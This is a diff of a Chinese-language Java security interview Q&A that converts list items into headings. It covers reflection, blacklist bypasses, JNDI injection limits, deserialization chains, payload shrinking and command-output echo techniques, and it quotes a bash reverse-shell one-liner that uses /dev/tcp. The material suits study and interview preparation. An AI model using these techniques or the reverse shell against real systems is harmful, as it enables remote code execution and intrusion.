11## JDK
22
3- - Java反射做了什么事情(★)
3+ ### Java反射做了什么事情(★)
44
55反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果
66
77
88
9- - Java反射可以修改Final字段嘛(★★)
9+ ### Java反射可以修改Final字段嘛(★★)
1010
1111可以做到,参考以下代码
1212
@@ -20,7 +20,7 @@ field.set(null, newValue);
2020
2121
2222
23- - 传统的反射方法加入黑名单怎么绕(★★★)
23+ ### 传统的反射方法加入黑名单怎么绕(★★★)
2424
2525可以使用的类和方法如下(参考三梦师傅)
2626
@@ -38,7 +38,7 @@ JSClassLoader.newInstance
3838
3939
4040
41- - Java中可以执行反弹shell的命令吗(★★)
41+ ### Java中可以执行反弹shell的命令吗(★★)
4242
4343可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:` bash -i >& /dev/tcp/ip/port 0>&1 ` 会失败,简单来说因为` > ` 符号是重定向,如果命令中包含输入输出重定向和管道符,只有在` bash ` 下才可以,使用Java执行这样的命令会失败,所以需要加入` Base64 `
4444
@@ -77,23 +77,23 @@ public static String getPowershellCommand(String cmd) {
7777
7878
7979
80- - 假设` Runtime.exec ` 加入黑名单还有什么方式执行命令(★★)
80+ ### 假设` Runtime.exec ` 加入黑名单还有什么方式执行命令(★★)
8181
8282其实这个问题有点类似` JSP Webshell ` 免杀
8383
8484大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等)
8585
8686
8787
88- - RMI和LDAP类型的JNDI注入分别在哪个版本限制(★)
88+ ### RMI和LDAP类型的JNDI注入分别在哪个版本限制(★)
8989
9090RMI的JNDI注入在8u121后限制,需要手动开启` com.sun.jndi.rmi.object.trustURLCodebase ` 属性
9191
9292LDAP的JNDI注入在8u191后限制,需要开启` com.sun.jndi.ldap.object.trustURLCodebase ` 属性
9393
9494
9595
96- - RMI和LDAP的限制版本分别可以怎样绕过(★★)
96+ ### RMI和LDAP的限制版本分别可以怎样绕过(★★)
9797
9898RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发
9999
@@ -103,7 +103,7 @@ LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget`
103103
104104
105105
106- - 谈谈TemplatesImpl这个类(★★)
106+ ### 谈谈TemplatesImpl这个类(★★)
107107
108108这个类本身是JDK中XML相关的类,但被很多` Gadget ` 拿来用
109109
@@ -122,7 +122,7 @@ TemplatesImpl.getOutputProperties()
122122
123123
124124
125- - 了解BCEL ClassLoader吗(★)
125+ ### 了解BCEL ClassLoader吗(★)
126126
127127BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目
128128
@@ -132,7 +132,7 @@ BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一
132132
133133
134134
135- - 谈谈7U21反序列化(★★★★★)
135+ ### 谈谈7U21反序列化(★★★★★)
136136
137137从` LinkedHashSet.readObject ` 开始,找到父类` HashSet.readObject ` 方法,其中包含` HashMap ` 的类型转换以及` HashMap.put ` 方法,跟入` HashMap.put ` 其中对` key ` 与已有` key ` 进行` equals ` 判断,这个` equals ` 方法是触发后续利用链的关键。但` equals ` 方法的前置条件必须满足
138138
@@ -180,7 +180,7 @@ LinkedHashSet.readObject()
180180
181181
182182
183- - 谈谈8U20反序列化(★★★★★)
183+ ### 谈谈8U20反序列化(★★★★★)
184184
185185这是7U21修复的绕过
186186
@@ -190,13 +190,13 @@ LinkedHashSet.readObject()
190190
191191
192192
193- - 了解缩小反序列化Payload的手段吗(★★★)
193+ ### 了解缩小反序列化Payload的手段吗(★★★)
194194
195195首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载
196196
197197
198198
199- - 谈谈实战中命令执行有哪些回显的办法(★★★★)
199+ ### 谈谈实战中命令执行有哪些回显的办法(★★★★)
200200
201201首先想到的办法是` dnslog ` 等技术进行外带,但必须出网,有限制
202202
@@ -210,23 +210,23 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式
210210
211211
212212
213- - 有没有了解过针对` linux ` 的通杀的回显方式(★★★★)
213+ ### 有没有了解过针对` linux ` 的通杀的回显方式(★★★★)
214214
215215获取本次` http ` 请求用到` socket ` 的文件描述符,然后往文件描述符里写命令执行的结果
216216
217217但鸡肋的地方在于需要确定源端口,才可以使用命令查到对应的文件描述符,存在反代可能有问题
218218
219219
220220
221- - 是否存在针对` windows ` 的通杀的回显方式(★★★★)
221+ ### 是否存在针对` windows ` 的通杀的回显方式(★★★★)
222222
223223原理类似` linux ` 的通杀回显,在` windows ` 中` nio/bio ` 中有类似于` linux ` 文件描述符这样的句柄文件
224224
225225遍历` fd ` 反射创建对应的文件描述符,利用` sun.nio.ch.Net#remoteAddress ` 确认文件描述符有效性,然后往里面写数据实现回显
226226
227227
228228
229- - 是否了解JDBC Connection URL攻击(★★★)
229+ ### 是否了解JDBC Connection URL攻击(★★★)
230230
231231果我们可以控制` JDBC URI ` 就可将` JDBC ` 连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据
232232
0 commit comments